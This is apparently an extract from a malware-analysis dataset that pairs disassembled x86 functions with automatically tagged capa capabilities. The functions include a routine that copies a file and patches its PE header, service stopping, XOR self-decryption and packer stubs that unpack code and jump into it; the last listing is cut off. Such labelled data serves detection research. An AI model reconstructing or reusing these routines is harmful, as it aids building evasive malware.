joyce8/EMBER2024-capa huggingface dataset:
Function at 0x440994
Capabilities:
Parse pe header
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffebc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov byte [ebp - 1], cl
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x440b45
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
mov eax, esi
call fcn.00404520
push eax
call sub.kernel32.dll_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je 0x440b29
push 0
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
je 0x440b23
push 0
lea eax, [ebp - 8]
push eax
push 0x40
lea eax, [ebp - 0x4c]
push eax
push esi
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x440b23
cmp word [ebp - 0x4c], 0x5a4d
jne 0x440b23
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
je 0x440b23
push 0
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x144]
push eax
push esi
call sub.kernel32.dll_ReadFile
test eax, eax
je 0x440b23
cmp dword [ebp - 0x144], 0x4550
jne 0x440b23
call sub.kernel32.dll_GetCurrentProcessId
add eax, 0x7c6
mov edx, dword [ebp - 0x11c]
xor edx, 0x50485e00
movzx ecx, word [ebp - 0x13e]
xor edx, ecx
xor edi, edx
xor eax, edi
mov dword [ebp - 0x13c], eax
call fcn.00402ab0
push 0
push 0
mov eax, dword [ebp - 0x10]
push eax
push esi
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
je 0x440ac7
push 0
lea eax, [ebp - 8]
push eax
push 0xf8
lea eax, [ebp - 0x144]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp byte [ebp - 1], 0
je 0x440b23
mov eax, 0x200
call fcn.00402ce4
mov edi, eax
shl edi, 4
test edi, edi
jle 0x440b23
push 2
push 0
push 0
push esi
call sub.kernel32.dll_SetFilePointer
cmp eax, 0xffffffff
je 0x440b23
push edi
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, dword [0x440970]
call fcn.004053e8
add esp, 4
mov edx, edi
mov eax, dword [ebp - 0xc]
call fcn.004065f8
push 0
lea eax, [ebp - 8]
push eax
push edi
mov eax, dword [ebp - 0xc]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x440b4c
lea eax, [ebp - 0xc]
mov edx, dword [0x440970]
call fcn.004053f4
ret
Function at 0x440d80
Capabilities:
Encode data using xor
Parse pe header
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffea0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x160], ebx
mov dword [ebp - 0x15c], ebx
mov dword [ebp - 0x158], ebx
mov dword [ebp - 0x154], ebx
mov dword [ebp - 0x18], ebx
mov ebx, ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x440fc1
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
mov eax, dword [ebp + 8]
call fcn.00404060
push 0
push 0x80
push 2
push 0
push 1
push 0xc0000000
mov eax, esi
call fcn.00404520
push eax
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x440e0f
lea eax, [ebp - 0x154]
call fcn.0043f3ec
mov edx, dword [ebp - 0x154]
mov eax, dword [ebp + 8]
call fcn.004040b4
jmp 0x440f95
cmp byte [ebp + 0xc], 0
je 0x440e4d
call fcn.00402ab0
mov eax, 0x1ff
call fcn.00402ce4
mov edx, eax
inc edx
mov eax, edx
shl eax, 4
add eax, ebx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
mov ecx, 1
mov edx, dword [0x440d5c]
call fcn.004053e8
add esp, 4
jmp 0x440e50
mov dword [ebp - 0x10], ebx
mov eax, dword [ebp - 0x10]
push eax
lea eax, [ebp - 0x18]
mov ecx, 1
mov edx, dword [0x440d5c]
call fcn.004053e8
add esp, 4
mov ecx, edi
mov eax, ebx
dec eax
test eax, eax
jb 0x440e86
inc eax
xor edx, edx
mov bl, byte [ecx]
xor bl, 0xff
mov esi, dword [ebp - 0x18]
mov byte [esi + edx], bl
inc ecx
inc edx
dec eax
jne 0x440e76
xor ebx, ebx
cmp byte [ebp + 0x10], 0
je 0x440f3d
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x58]
mov ecx, 0x40
call fcn.004065f0
cmp word [ebp - 0x58], 0x5a4d
jne 0x440f1d
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
lea edx, [eax + edx]
lea eax, [ebp - 0x150]
mov ecx, 0xf8
call fcn.004065f0
cmp dword [ebp - 0x150], 0x4550
jne 0x440efd
cmp word [ebp - 0x138], 0x10b
jb 0x440efd
call fcn.0043f05c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x1c]
lea eax, [eax + edx + 8]
lea edx, [ebp - 0x14]
mov ecx, 4
call fcn.004065e8
mov bl, 1
jmp 0x440f3f
lea edx, [ebp - 0x158]
mov eax, 0x440fdc
call fcn.0043f600
mov edx, dword [ebp - 0x158]
mov eax, dword [ebp + 8]
call fcn.004040b4
jmp 0x440f3f
lea edx, [ebp - 0x15c]
mov eax, 0x440ff4
call fcn.0043f600
mov edx, dword [ebp - 0x15c]
mov eax, dword [ebp + 8]
call fcn.004040b4
jmp 0x440f3f
mov bl, 1
test bl, bl
je 0x440f8c
push 0
push 0
push 0
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WriteFile_1
test eax, eax
je 0x440f73
mov byte [ebp - 1], 1
jmp 0x440f8c
lea eax, [ebp - 0x160]
call fcn.0043f3ec
mov edx, dword [ebp - 0x160]
mov eax, dword [ebp + 8]
call fcn.004040b4
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x440fc8
lea eax, [ebp - 0x160]
mov edx, 4
call fcn.00404084
lea eax, [ebp - 0x18]
mov edx, dword [0x440d5c]
call fcn.004053f4
ret
Function at 0x44462c
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404510
xor eax, eax
push ebp
push 0x4446dd
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 4]
call fcn.004078b0
cmp dword [ebp - 0x28], 0
je 0x4446bf
push 0xf003f
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov edi, eax
test edi, edi
je 0x4446bf
push 0xf01ff
mov eax, dword [ebp - 4]
call fcn.00404520
push eax
push edi
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
jne 0x44469f
push edi
call sub.advapi32.dll_CloseServiceHandle
jmp 0x4446bf
lea eax, [ebp - 0x24]
push eax
mov eax, dword [ebp - 8]
push eax
push esi
call sub.advapi32.dll_ControlService
cmp eax, 1
sbb ebx, ebx
inc ebx
push esi
call sub.advapi32.dll_CloseServiceHandle
push edi
call sub.advapi32.dll_CloseServiceHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4446e4
lea eax, [ebp - 0x28]
call fcn.00404060
lea eax, [ebp - 4]
call fcn.00404060
ret

Function at 0x444e74
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov edi, ecx
mov byte [ebp - 5], dl
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x444ef1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.00404060
mov eax, dword [ebp - 4]
call fcn.00404320
mov esi, eax
test esi, esi
jle 0x444edb
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
mov bl, byte [eax + edx - 1]
xor bl, byte [ebp - 5]
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.00404248
mov edx, dword [ebp - 0x10]
mov eax, edi
call fcn.00404328
inc dword [ebp - 0xc]
dec esi
jne 0x444eb4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444ef8
lea eax, [ebp - 0x10]
call fcn.00404060
ret
Function at 0x447af8
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x447b00
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x447d24
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push esi
call sub.kernel32.dll_GlobalFindAtomA
mov word [0x450da4], ax
cmp word [0x450da4], 0
jne 0x447ceb
call fcn.00402ab0
mov eax, dword [0x44ed08]
mov eax, dword [eax]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
call fcn.00402ce4
mov dword [ebp - 0x14], eax
lea ecx, [ebp - 0x18]
mov eax, dword [0x44ed08]
mov eax, dword [eax]
mov edx, dword [ebp - 0x14]
mov edi, dword [eax]
call dword [edi + 0xc]
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
call fcn.0043e660
push dword [ebp - 0x1c]
push 0x447d3c
lea eax, [ebp - 8]
mov edx, 3
call fcn.004043e0
mov eax, dword [ebp - 8]
call fcn.0040823c
test al, al
jne 0x447ba2
lea eax, [ebp - 8]
mov edx, dword [0x44f06c]
mov edx, dword [edx]
call fcn.004040f8
lea edx, [ebp - 0x10]
mov eax, dword [0x44f13c]
mov eax, dword [eax]
call fcn.00408154
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x10]
call fcn.0043d56c
mov edx, dword [ebp - 0x20]
lea eax, [ebp - 0x10]
call fcn.004040f8
mov al, byte [0x447d40]
push eax
lea eax, [ebp - 0x24]
push eax
mov ecx, 0x447d4c
mov edx, 0x447d5c
mov eax, dword [ebp - 0x10]
call fcn.0040cdc0
mov edx, dword [ebp - 0x24]
lea eax, [ebp - 0x10]
call fcn.004040f8
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
call fcn.0040436c
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404520
mov edi, eax
push edi
mov eax, dword [0x44f13c]
mov eax, dword [eax]
call fcn.00404520
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x447ca5
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0xc]
call fcn.00440994
push esi
call sub.kernel32.dll_GlobalAddAtomA
mov word [0x450da4], ax
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.00408120
mov eax, dword [ebp - 0x28]
call fcn.00404520
push eax
mov eax, edi
xor edx, edx
pop ecx
call fcn.0043fb4c
test al, al
je 0x447c6d
mov ebx, 1
call fcn.00403ecc
jmp 0x447cfc
lea edx, [ebp - 0x2c]
mov eax, 0x447d6c
call fcn.0043f600
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
call fcn.0043f3ec
mov edx, dword [ebp - 0x30]
pop eax
call fcn.00404328
mov eax, dword [ebp - 0x2c]
call fcn.0043f794
mov ax, word [0x450da4]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
jmp 0x447cfc
lea edx, [ebp - 0x38]
mov eax, 0x447d84
call fcn.0043f600
push dword [ebp - 0x38]
push dword [ebp - 0xc]
push 0x447da0
lea eax, [ebp - 0x3c]
call fcn.0043f3ec
push dword [ebp - 0x3c]
lea eax, [ebp - 0x34]
mov edx, 4
call fcn.004043e0
mov eax, dword [ebp - 0x34]
call fcn.0043f794
mov ax, word [0x450da4]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
jmp 0x447cfc
mov ax, word [0x450da4]
push eax
call sub.kernel32.dll_GlobalDeleteAtom
mov ebx, 2
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x447d2b
lea eax, [ebp - 0x3c]
mov edx, 0xa
call fcn.00404084
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.00404084
ret
Function at 0x421140
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.ABC1
lea edi, [esi - 0x15000]
push edi
or ebp, 0xffffffff
jmp 0x421162
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x421169
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421158
mov eax, 1
add ebx, ebx
jne 0x42117b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x421170
jne 0x42118c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421170
xor ecx, ecx
sub eax, 3
jb 0x4211a0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x421212
mov ebp, eax
add ebx, ebx
jne 0x4211ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x4211b8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4211dc
inc ecx
add ebx, ebx
jne 0x4211c8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4211bd
jne 0x4211d9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4211bd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4211fc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4211ed
jmp 0x42115e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4211fc
add edi, ecx
jmp 0x42115e
pop esi
mov edi, esi
mov ecx, 0x558
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42121a
cmp byte [edi], 5
jne 0x42121a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x42121f
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x421297
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x21238]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2129c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42124c
mov ecx, edi
jns 0x42127b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x212a0]
or eax, eax
je 0x421291
mov dword [ebx], eax
add ebx, 4
jmp 0x421269
call dword [esi + 0x212b0]
mov ebp, dword [esi + 0x212a4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4212cb
sub esp, 0xffffff80
jmp 0x40473a
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.00407949
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.00407949
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.00407949
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.00407949
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.00407949
mov dword [0x41203c], eax
call fcn.00407949
test eax, eax
jge 0x402550
push 8
call fcn.00407949
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.00407949
pop ecx
push 1
call fcn.00407949
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.00407949
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.00407949
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.00407949
jmp 0x402495

Function at 0x407949
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x407958
pop dword [ebp - 0x3c]
mov eax, 0x38688a41
add eax, 0xc7d7ef17
sub dword [ebp - 0x3c], eax
push 0x40
push 0x1000
push 0x3669a
push 0
mov eax, 0x4e7d2d94
add eax, 0xb1c3b344
add eax, dword [ebp - 0x3c]
call dword [eax]
mov ecx, 0x3623181d
sub ecx, 0x3622dcac
mov ebx, eax
mov edi, 0x363f7afa
add edi, 0xca01c0ca
add edi, dword [ebp - 0x3c]
mov edx, 0xbe2b9cbf
xor dword [ebp - 0x20], 0x41468463
mov esi, dword [edi]
add dword [ebp - 0x14], ebx
add esi, edx
sub dword [ebp - 0x1c], ebx
mov dword [ebx], esi
add ebx, 0x85a3f218
sub ebx, 0x85a3f214
add edi, 0x72a61709
add edi, 0x8d59e8fb
loop 0x4079b1
add eax, 0x2f919ce5
sub eax, 0x2f90bc4e
xor ebx, ebx
add ebx, eax
add eax, 0xef061881
add eax, 0x10f9e784
mov ecx, 0x1c1e14f4
add ecx, 0xe421eb0c
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..idata
nop
mov ebx, 0x40915c
nop
nop
mov ecx, 0x47f676eb
nop
nop
nop
test eax, eax
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x431024
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x20092081
nop
nop
nop
test eax, eax
nop
je 0x431084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x1485ae0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1485aea
pushal
call 0x1485af0
pop ebp
sub ebp, 0x10
sub ebp, 0x1085ae0
jmp 0x1485b06
mov eax, 0x1085ae0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5b8
mov edx, 0x80ccd6f4
xor byte [eax], dl
inc eax
dec ecx
jne 0x1485b1d
jmp 0x1485b30
jg 0x1485b6b
jg 0x1485bb1
enter 0xfffffffffffff4f4, 0xfffffffffffffff4
jne 0x1485b6f
or al, 0xf4
hlt
int1
hlt
sbb eax, 0xf4f4f4de
mov eax, dword [0xf4d09879]
jg 0x1485bec
cld
hlt
pushfd
dec eax
sbb dword [0xd0d8f5f4], ecx
movsd dword es:[edi], dword [esi]
sbb al, 0xf1
hlt
shl byte [ebp - 0xb0b0ee4], 1
hlt
jl 0x1485baa
hlt
Function at 0x40595e
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40596d
pop dword [ebp - 0x24]
mov eax, 0x40596d
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x69f70d18
sub dword [ebp - 0x34], 0x1ba4c7cd
mov dword [ebp - 0x30], 0x9505975e
add dword [ebp - 0x30], 0x9d2db4e7
mov dword [ebp - 0x2c], 0xab02267b
add dword [ebp - 0x2c], 0xa14a1db3
mov dword [ebp - 0x28], 0x7527b574
sub dword [ebp - 0x28], 0x7527b574
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x776f5297
add dword [ebp - 0x34], 0xfd0316bf
mov dword [ebp - 0x30], 0x5a96a4e
add dword [ebp - 0x30], 0x3bc2f727
mov dword [ebp - 0x2c], 0xbcc9fcad
add dword [ebp - 0x2c], 0xa6a56fbf
mov dword [ebp - 0x28], 0xc5a205b7
sub dword [ebp - 0x28], 0xc5a205b7
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0xf317693e
add eax, 0xd2907c2
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x35dcb
push 0
call eax
mov ecx, 0x586ed23b
add ecx, 0xa791725a
xor edi, edi
add edi, eax
mov esi, 0x5c929fbd
add esi, 0xa3ae6043
add esi, dword [ebp - 0x24]
mov ebx, 0x21af1229
add ebx, 0xf46d0ba5
xor dword [ebp - 4], eax
mov edx, dword [esi]
add dword [ebp - 0x20], eax
add edx, ebx
xor dword [ebp - 0x10], 0x3a196c92
mov dword [edi], edx
mov dword [ebp - 0xc], 0xeec79a7
add edi, 4
add esi, 0x3365e6f2
sub esi, 0x3365e6ee
loop 0x405a87
add eax, 0x20ed7e51
add eax, 0xdf1386d6
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x404f81
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc4c
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
mov dword [ebp - 0x10], eax
mov eax, dword [edi + 4]
xor esi, esi
cmp dword [0x5af138], 0x594
mov dword [ebp - 0xc], eax
jne 0x404fcd
push 0x404890
push 0x4048b0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0x4048bc
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov eax, dword [0x43b4e8]
push ebx
mov ebx, dword [0x43b4ec]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 8]
mov dword [ebp - 8], esi
mov dword [ebp - 0x30], 0x9e3779b9
call fcn.00404f7a
mov eax, dword [0x43b4f0]
add dword [ebp - 8], 0x23f
mov dword [ebp - 0x2c], eax
mov eax, dword [0x43b4f4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x20
mov dword [ebp - 0x14], 2
add dword [ebp - 0x14], 3
mov eax, dword [ebp - 0x10]
mov ecx, eax
shl ecx, 4
cmp dword [0x5af138], 0xc
mov dword [ebp - 4], ecx
jne 0x405077
push esi
lea eax, [ebp - 0xc4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0x44c]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
lea eax, [ebp - 0x38]
push eax
push esi
lea eax, [ebp - 0x4c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x2c]
add dword [ebp - 4], ecx
mov ecx, dword [0x5af138]
cmp ecx, 0xfa9
jne 0x405095
mov dword [0x5ae6d4], 0xedeb2e40
cmp ecx, 0x3eb
jne 0x4050a3
mov dword [0x5ae088], esi
mov ecx, dword [ebp - 8]
add ecx, eax
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x14]
shr eax, cl
mov dword [0x5ae6d0], 0xf4ea3dee
add eax, dword [ebp - 0x24]
mov ecx, eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
xor ecx, dword [ebp - 4]
cmp dword [0x5af138], 0x213
mov dword [ebp - 0x18], ecx
jne 0x4050e2
push 0x4048d0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp - 0x18]
add dword [ebp - 0xc], 0x64
sub dword [ebp - 0xc], eax
sub dword [ebp - 0xc], 0x64
mov eax, dword [ebp - 0xc]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax]
mov ecx, dword [ebp - 0x14]
shr eax, cl
add eax, ebx
xor eax, edx
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x30]
sub dword [ebp - 8], eax
dec dword [ebp - 0x20]
jne 0x40500c
cmp dword [0x5af138], 0xa6d
mov eax, dword [ebp - 0x10]
mov dword [edi], eax
pop ebx
jne 0x405143
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov eax, dword [ebp - 0xc]
mov dword [edi + 4], eax
pop edi
pop esi
leave
ret 4
Function at 0x40555d
Capabilities:
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x424
push ebx
push esi
xor esi, esi
cmp dword [0x5af138], 0x400
push edi
jne 0x4055b6
push esi
push esi
call fcn.00405846
push esi
push esi
call fcn.00405846
push esi
call fcn.00405a10
add esp, 0x14
push esi
push esi
push esi
call fcn.004065e8
pop ecx
mov dword [esp + 4], esi
mov dword [esp], esi
call fcn.00404f55
fstp st(0)
push esi
call fcn.0040666d
pop ecx
push esi
call fcn.004063ff
pop ecx
mov eax, dword [0x43bb74]
mov dword [0x5af138], eax
mov eax, dword [0x43bb4c]
mov dword [0x5af13c], eax
call fcn.00405222
mov dword [esp + 0x10], esi
mov ebx, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov dword [esp + 0x1c], esi
lea edi, [esp + 0x20]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x18]
push eax
push esi
lea eax, [esp + 0x3c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
cmp dword [esp + 0x10], ebx
jle 0x40561d
cmp dword [esp + 0x18], 0x785074d5
jne 0x40562b
inc dword [esp + 0x10]
cmp dword [esp + 0x10], 0x1c1b
jl 0x4055d8
xor edi, edi
push esi
lea eax, [esp + 0x34]
push eax
push esi
push 0x404da0
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x404dec
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomA]
cmp edi, ebx
jle 0x40565a
cmp dword [esp + 0x18], 0x785074d5
jne 0x405663
inc edi
